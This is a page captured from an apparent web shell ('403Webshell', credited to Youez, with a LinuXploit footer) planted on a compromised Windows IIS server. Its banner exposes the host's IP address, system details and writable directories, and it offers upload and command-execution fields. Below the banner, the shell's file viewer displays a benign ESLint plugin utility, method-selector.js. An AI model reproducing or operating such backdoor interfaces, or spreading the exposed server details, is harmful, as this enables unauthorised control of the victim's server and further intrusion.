403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/eslint-plugin-unicorn/rules/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/eslint-plugin-unicorn/rules/utils/method-selector.js
'use strict';

module.exports = options => {
	const {
		name,
		names,
		length,
		object,
		min,
		max,
		property = ''
	} = {
		min: 0,
		max: Infinity,
		...options
	};

	const prefix = property ? `${property}.` : '';

	const selector = [
		`[${prefix}type="CallExpression"]`,
		`[${prefix}callee.type="MemberExpression"]`,
		`[${prefix}callee.computed=false]`,
		`[${prefix}callee.property.type="Identifier"]`
	];

	if (name) {
		selector.push(`[${prefix}callee.property.name="${name}"]`);
	}

	if (Array.isArray(names) && names.length > 0) {
		selector.push(
			':matches(' +
			names.map(name => `[${prefix}callee.property.name="${name}"]`).join(', ') +
			')'
		);
	}

	if (object) {
		selector.push(`[${prefix}callee.object.type="Identifier"]`);
		selector.push(`[${prefix}callee.object.name="${object}"]`);
	}

	if (typeof length === 'number') {
		selector.push(`[${prefix}arguments.length=${length}]`);
	}

	if (min !== 0) {
		selector.push(`[${prefix}arguments.length>=${min}]`);
	}

	if (Number.isFinite(max)) {
		selector.push(`[${prefix}arguments.length<=${max}]`);
	}

	const maxArguments = Number.isFinite(max) ? max : length;
	if (typeof maxArguments === 'number') {
		// Exclude arguments with `SpreadElement` type
		for (let index = 0; index < maxArguments; index += 1) {
			selector.push(`[${prefix}arguments.${index}.type!="SpreadElement"]`);
		}
	}

	return selector.join('');
};

Youez - 2016 - github.com/yon3zu
LinuXploit